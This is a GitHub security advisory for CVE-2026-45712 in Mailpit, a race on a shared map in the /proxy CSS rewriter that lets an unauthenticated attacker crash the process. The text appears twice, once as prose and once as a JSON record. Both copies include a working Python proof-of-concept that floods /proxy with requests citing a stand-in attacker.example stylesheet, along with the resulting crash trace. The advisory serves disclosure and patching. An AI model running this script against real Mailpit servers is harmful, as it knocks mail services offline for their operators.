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GHSA-W4VJ-R5PG-3722
Vulnerability from github – Published: 2026-05-19 15:53 – Updated: 2026-05-19 15:53Summary
The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.
Details
A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.
Affected code server/handlers/proxy.go:198-229 server/handlers/proxy.go:52-66 server/handlers/proxy.go:244-313
Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.
PoC
- Deposit any message with a in the store (SMTP or /api/v1/send, both unauthenticated by default).
- Make a few hundred concurrent requests to /proxy?data=base64(:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.
Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):
# proxy-race.py
import socket, threading, base64, sys
ID = sys.argv[1] # 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()
req = (
f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
f"Host: target:8025\r\n"
f"Connection: close\r\n\r\n"
).encode()
def hit():
try:
s = socket.create_connection(("target", 8025), timeout=10)
s.sendall(req)
while s.recv(8192): pass
s.close()
except Exception: pass
for _ in range(50): # 50 rounds
ts = [threading.Thread(target=hit) for _ in range(300)]
for t in ts: t.start()
for t in ts: t.join()
When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:
fatal error: concurrent map read and map write
goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
server/handlers/proxy.go:216
...
…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.
Impact
Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45712"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T15:53:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe screenshot/print proxy (/proxy?data=\u2026) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go\u0027s runtime raises fatal error: concurrent map read and map write \u2014 a runtime.throw that is not recoverable by http.Server\u0027s handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.\n\n### Details\nA remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=\u2026 requests against the same message\u0027s CSS URL. Mailpit\u0027s defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.\n\nAffected code\n[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)\n[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)\n[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) \n\nGo\u0027s map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw(\"concurrent map read and map write\") \u2014 throw is not caught by defer recover and is not caught by http.Server\u0027s handler-panic guard. The process exits with a stack trace.\n\n### PoC\n1. Deposit any message with a \u003clink rel=\"stylesheet\" href=\"https://attacker.example/big.css\"\u003e in the store (SMTP or /api/v1/send, both unauthenticated by default).\n2. Make a few hundred concurrent requests to /proxy?data=base64(\u003cid\u003e:https://attacker.example/big.css) \u2014 the attacker\u0027s big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.\n\nSkeleton (set --allow-internal-http-requests only if you\u0027re testing locally \u2014 internal IPs are blocked by safeDialContext in production, which is correct):\n\n```\n# proxy-race.py\nimport socket, threading, base64, sys\n\nID = sys.argv[1] # 22-char shortuuid\nCSS = \"https://attacker.example/big.css\"\nTOKEN = base64.b64encode(f\"{ID}:{CSS}\".encode()).decode()\n\nreq = (\n f\"GET /proxy?data={TOKEN} HTTP/1.1\\r\\n\"\n f\"Host: target:8025\\r\\n\"\n f\"Connection: close\\r\\n\\r\\n\"\n).encode()\n\ndef hit():\n try:\n s = socket.create_connection((\"target\", 8025), timeout=10)\n s.sendall(req)\n while s.recv(8192): pass\n s.close()\n except Exception: pass\n\nfor _ in range(50): # 50 rounds\n ts = [threading.Thread(target=hit) for _ in range(300)]\n for t in ts: t.start()\n for t in ts: t.join()\n```\n\nWhen the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine\u0027s assets[id] = result write, Go\u0027s runtime emits:\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 123 [running]:\nruntime.throw(...)\ngithub.com/axllent/mailpit/server/handlers.ProxyHandler(...)\n server/handlers/proxy.go:216\n...\n```\n\n\u2026and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.\n\n### Impact\nUnauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).",
"id": "GHSA-w4vj-r5pg-3722",
"modified": "2026-05-19T15:53:52Z",
"published": "2026-05-19T15:53:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: Concurrent map read \u0026 write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)"
}